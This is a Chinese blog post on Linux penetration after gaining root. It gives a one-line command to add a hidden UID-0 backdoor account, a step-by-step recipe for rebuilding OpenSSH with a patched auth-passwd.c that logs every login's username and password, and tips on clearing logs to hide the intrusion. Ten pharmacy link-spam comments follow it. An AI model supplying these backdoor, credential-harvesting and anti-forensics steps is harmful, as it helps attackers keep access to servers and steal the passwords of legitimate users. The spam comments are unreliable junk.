日常笔记

linux渗透:重新编译ssh记录密码信息

前提是已经提权到root权限

如果可以被外网访问,一句话加用户

useradd -p `openssl passwd -1 -salt 'xxx' luo` -u 0 -o -g root -G root -s /bin/bash -d /usr/bin/luo luo  #一句添加账户密码luo:luo

cat /etc/passwd 看看都有哪些账户,然后last看看最近都哪些鬼登陆了。既然shadow不好破解,那么我想在这些账户下一次登陆的时候记录他们的密码怎么办。

  1. 备份原来的ssh,mv /etc/ssh /etc/ssh_bak
  2. 下载ssh源文件。网上用的6.6,我看版本不是很旧,就直接用wget http://openbsd.cs.toronto.edu/pub/OpenBSD/OpenSSH/portable/openssh-6.6p1.tar.gz
  3. tar -zxvf openssh-6.6p1.tar.gz 解压后进入解压出的目录
  4. vi auth-passwd.c 编辑这个文件,查找auth_password这个函数,在函数的第一行加入一句logit(“username: %s password: %s”, authctxt->user, password);
  5. 保存之后./configure –sysconfdir=/etc/ssh –without-zlib-version-check  –with-md5-passwords
    make
    make install
  6. 重启ssh服务service ssh restart
  7. 接下来,通过ssh不管登陆成功和失败都会把账号密码记录在日志里。这个日志在/var/log/下,Ubuntu的是auth.log,其他系统可以看日志最后修改的时间,随便翻翻最新的日志就行。过一段时间就找到日志看看有木有鱼儿上钩。建议先清空日志,这样下次有登陆信息就可以很方便的观察到文件大小的变化。

注意事项
渗透最后工作就是清除自己的痕迹了。可以echo >/var/log/xxx 这么清除。千万别直接删除日志文件,这样的话就不会再自动生成日志了,即使新建一个同名文件也不行。如果你已经删了,请自行百度解决办法。

169 comments

  1. [url=http://allopurinolgenericbuy.com/]allopurinol generic[/url] [url=http://tadacipbest.us.com/]tadacip[/url] [url=http://azithromycin.in.net/]where can i buy azithromycin online[/url] [url=http://prozacgenericbuy.com/]prozac for sale[/url] [url=http://propranolol.in.net/]propranolol[/url] [url=http://vermoxbest.us.com/]Vermox[/url] [url=http://kamagrabest.us.org/]kamagra[/url] [url=http://albendazole.in.net/]albendazole[/url] [url=http://furosemide.in.net/]furosemide[/url] [url=http://propeciagenericbuy.com/]can you buy propecia over the counter[/url]

  2. [url=http://buylevitra.us.com/]levitra[/url] [url=http://baclofen.in.net/]baclofen[/url] [url=http://avodartbest.us.com/]avodart[/url] [url=http://synthroidgenericbuy.com/]Cost Of Synthroid[/url] [url=http://acyclovirgenericbuy.com/]acyclovir[/url] [url=http://zithromaxgenericbuy.com/]zithromax[/url] [url=http://vermoxbest.us.com/]vermox 100mg[/url] [url=http://vardenafilgenericbuy.com/]vardenafil[/url] [url=http://buymetformin.us.com/]metformin[/url] [url=http://buycialis.us.com/]cialis[/url]

  3. [url=http://buymetformin.us.com/]Buy Metformin[/url] [url=http://buysuhagra.us.org/]suhagra online[/url] [url=http://tadacipbest.us.com/]cheap tadacip[/url] [url=http://colchicine.in.net/]buy colchicine online[/url] [url=http://ampicillin.us.org/]discover more[/url] [url=http://baclofen.in.net/]baclofen[/url] [url=http://buypaxil.us.com/]can you cut paxil in half[/url] [url=http://zithromaxgenericbuy.com/]Z PACK ZITHROMAX[/url] [url=http://propeciagenericbuy.com/]additional info[/url] [url=http://advairbest.us.com/]buy advair diskus[/url]

  4. [url=http://kamagrabest.us.org/]BUY KAMAGRA ORAL JELLY ONLINE[/url] [url=http://vardenafilgenericbuy.com/]vardenafil[/url] [url=http://baclofenbest.us.org/]baclofen 10mg tablets[/url] [url=http://synthroidgenericbuy.com/]Synthroid[/url] [url=http://colchicine.in.net/]colchicine[/url] [url=http://cafergot.in.net/]cafergot online[/url] [url=http://allopurinolgenericbuy.com/]allopurinol[/url] [url=http://arimidexbest.us.com/]arimidex 1 mg[/url] [url=http://hydrochlorothiazide.in.net/]example[/url] [url=http://propranolol.in.net/]buy propranolol online[/url]

  5. [url=http://buypaxil.us.com/]5 mg paxil[/url] [url=http://zithromaxgenericbuy.com/]zithromax[/url] [url=http://vermoxbest.us.com/]vermox 500[/url] [url=http://baclofen.in.net/]baclofen lioresal[/url] [url=http://baclofenbest.us.org/]Baclofen[/url] [url=http://acyclovirgenericbuy.com/]Acyclovir Medication[/url] [url=http://buysuhagra.us.org/]full report[/url] [url=http://propeciagenericbuy.com/]propecia[/url] [url=http://antabusebest.us.org/]antabuse[/url] [url=http://clonidinebest.us.com/]clonidine[/url]

  6. [url=http://vermoxbest.us.com/]Vermox[/url] [url=http://advairbest.us.com/]advair for asthma[/url] [url=http://azithromycin.in.net/]azithromycin[/url] [url=http://tadacipbest.us.com/]tadacip online[/url] [url=http://buypaxil.us.com/]paxil[/url] [url=http://buypropecia.us.com/]buy propecia[/url] [url=http://albendazole.in.net/]albendazole[/url] [url=http://propeciagenericbuy.com/]propecia 5mg[/url] [url=http://baclofen.in.net/]baclofen cost[/url] [url=http://propranolol.in.net/]propranolol[/url]

  7. [url=http://buylisinopril.us.com/]Buy Lisinopril[/url] [url=http://antabusebest.us.org/]Antabuse[/url] [url=http://cafergot.in.net/]cafergot[/url] [url=http://vardenafilgenericbuy.com/]vardenafil[/url] [url=http://vermoxbest.us.com/]vermox[/url] [url=http://propranolol.in.net/]propranolol[/url] [url=http://xenicalgenericbuy.com/]xenical[/url] [url=http://propeciagenericbuy.com/]propecia[/url] [url=http://albuterolgenericonline.com/]albuterol inhalers for sale[/url] [url=http://allopurinolgenericbuy.com/]ALLOPURINOL 300MG[/url]

  8. [url=http://buyamoxil.us.com/]cheap amoxil[/url] [url=http://buylevitra.us.com/]levitra 40 mg[/url] [url=http://buymobic.us.com/]mobic[/url] [url=http://kamagrabest.us.org/]kamagra gold[/url] [url=http://furosemide.in.net/]furosemide[/url] [url=http://cafergot.in.net/]cafergot[/url] [url=http://prozacgenericbuy.com/]prozac[/url] [url=http://propranolol.in.net/]propranolol[/url] [url=http://antabusebest.us.org/]Antabuse Medicine[/url] [url=http://vermoxbest.us.com/]cheap vermox[/url]

  9. [url=http://hydrochlorothiazide.in.net/]triamterene hydrochlorothiazide 37.5 25[/url] [url=http://erythromycinbest.us.com/]erythromycin prices[/url] [url=http://buyamoxil.us.com/]amoxil online[/url] [url=http://colchicine.in.net/]colchicine[/url] [url=http://albuterolgenericonline.com/]inhaler albuterol[/url] [url=http://arimidexbest.us.com/]arimidex chemotherapy[/url] [url=http://buylevitra.us.com/]Buy Levitra[/url] [url=http://ampicillin.us.org/]ampicillin[/url] [url=http://baclofenbest.us.org/]baclofen[/url] [url=http://clonidinebest.us.com/]clonidine adhd[/url]

  10. [url=http://vardenafilgenericbuy.com/]vardenafil[/url] [url=http://ampicillin.us.org/]ampicillin without prescription[/url] [url=http://hydrochlorothiazide.in.net/]microzide[/url] [url=http://avodartbest.us.com/]avodart[/url] [url=http://cafergot.in.net/]buy cafergot online[/url] [url=http://buypropecia.us.com/]generic propecia usa[/url] [url=http://clonidinebest.us.com/]clonidine .1mg[/url] [url=http://advairbest.us.com/]Advair Hfa[/url] [url=http://kamagrabest.us.org/]buy kamagra oral jelly online[/url] [url=http://buycialis.us.com/]buy cialis[/url]

发表评论

电子邮件地址不会被公开。 必填项已用*标注